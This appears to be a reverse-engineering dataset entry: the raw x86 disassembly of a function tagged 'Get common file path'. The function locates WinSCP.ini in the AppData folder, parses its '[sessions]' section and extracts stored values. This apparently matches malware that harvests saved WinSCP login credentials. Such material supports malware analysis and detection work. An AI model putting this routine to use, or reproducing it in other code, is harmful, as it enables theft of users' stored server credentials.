Function at 0x421594
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x65a0
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0xfab]
push edi
mov edi, 0x3e7
mov byte [ebp - 0xfac], 0
push edi
push 0
push eax
mov ebx, ecx
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x1394], 0
lea eax, [ebp - 0x1393]
push edi
push 0
push eax
call fcn.006390b0
add esp, 0xc
push esi
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x42162d
lea eax, [ebp - 0xfac]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x421627
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
lea esi, [ebp - 0xfac]
push esi
push str._sWinSCP.ini
lea eax, [ebp - 0x1394]
push 0x3e8
push eax
call fcn.00402e0a
and dword [ebp - 0x65a0], 0
lea eax, [ebp - 0x1394]
push 0x6c63d0
push eax
lea eax, [ebp - 0x65a0]
push eax
call fcn.00649a00
add esp, 0x1c
test eax, eax
jne 0x421614
cmp dword [ebp - 0x65a0], eax
je 0x421614
mov edi, eax
mov byte [ebp - 0x3f4], al
mov byte [ebp - 0x7dc], al
mov byte [ebp - 0xbc4], al
jmp 0x4218bc
lea eax, [ebp - 0x659c]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x4216bd
lea eax, [ebp - 0x659c]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x2710
jae 0x421932
mov byte [ebp + eax - 0x659c], 0
lea ecx, [ebp - 0x659c]
call fcn.004047e7
lea eax, [ebp - 0x659c]
push eax
lea eax, [ebp - 0x3e8c]
push 0x2710
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x3e8c]
push eax
call fcn.00643470
pop ecx
inc eax
push eax
lea eax, [ebp - 0x3e8c]
push eax
call fcn.0064ffd4
push str._sessions_
call fcn.00643470
add esp, 0xc
push eax
lea eax, [ebp - 0x3e8c]
push str._sessions_
push eax
call fcn.00650030
add esp, 0xc
test eax, eax
jne 0x421780
lea eax, [ebp - 0x3f4]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x421764
push 0xffffffffffffffff
push 0x6c5bb9
lea eax, [ebp - 0x3f4]
mov ecx, ebx
push eax
lea eax, [ebp - 0x7dc]
push eax
lea eax, [ebp - 0xbc4]
push eax
push 0x6c5bb9
push 0x136
push 4
call fcn.0043ee6b
xor eax, eax
xor edi, edi
mov byte [ebp - 0x3f4], al
inc edi
mov byte [ebp - 0x7dc], al
mov byte [ebp - 0xbc4], al
jmp 0x4218bc
cmp byte [ebp - 0x3e8c], 0x5b
jne 0x421790
xor edi, edi
jmp 0x4218bc
test edi, edi
je 0x4218bc
lea eax, [ebp - 0x3e8c]
push 0x6ca5d0
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4217f3
push 0x6ca5d0
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x3e8c]
sub esi, ecx
lea ecx, [ebp - 0x659c]
add ecx, esi
add ecx, eax
lea eax, [ebp - 0xbc4]
push ecx
push 0x3e8
push eax
call fcn.006494f3
lea ecx, [ebp - 0xbc4]
add esp, 0xc
call fcn.004047e7
jmp 0x4218bc
lea eax, [ebp - 0x3e8c]
push 0x6c9d70
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x421843
push 0x6c9d70
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x3e8c]
sub esi, ecx
lea ecx, [ebp - 0x659c]
add ecx, esi
add ecx, eax
lea eax, [ebp - 0x7dc]
push ecx
push 0x3e8
push eax
call fcn.006494f3
lea ecx, [ebp - 0x7dc]
jmp 0x4217e6
lea eax, [ebp - 0x3e8c]
push 0x6c9d7c
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4218bc
push 0x6c9d7c
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x3e8c]
sub esi, ecx
lea ecx, [ebp - 0x659c]
add ecx, esi
add ecx, eax
lea eax, [ebp - 0x177c]
push ecx
push 0x3e8
push eax
call fcn.006494f3
add esp, 0xc
lea ecx, [ebp - 0x177c]
call fcn.004047e7
push ecx
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x177c]
push eax
lea edx, [ebp - 0x7dc]
lea ecx, [ebp - 0xbc4]
call fcn.00421388
add esp, 0xc
push dword [ebp - 0x65a0]
lea eax, [ebp - 0x659c]
push 0x2710
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
jne 0x42168b
lea eax, [ebp - 0x3f4]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x42191e
push 0xffffffffffffffff
push 0x6c5bb9
lea eax, [ebp - 0x3f4]
mov ecx, ebx
push eax
lea eax, [ebp - 0x7dc]
push eax
lea eax, [ebp - 0xbc4]
push eax
push 0x6c5bb9
push 0x136
push 4
call fcn.0043ee6b
push dword [ebp - 0x65a0]
call fcn.00649273
xor eax, eax
pop ecx
inc eax
jmp 0x421616
call fcn.00612782
int3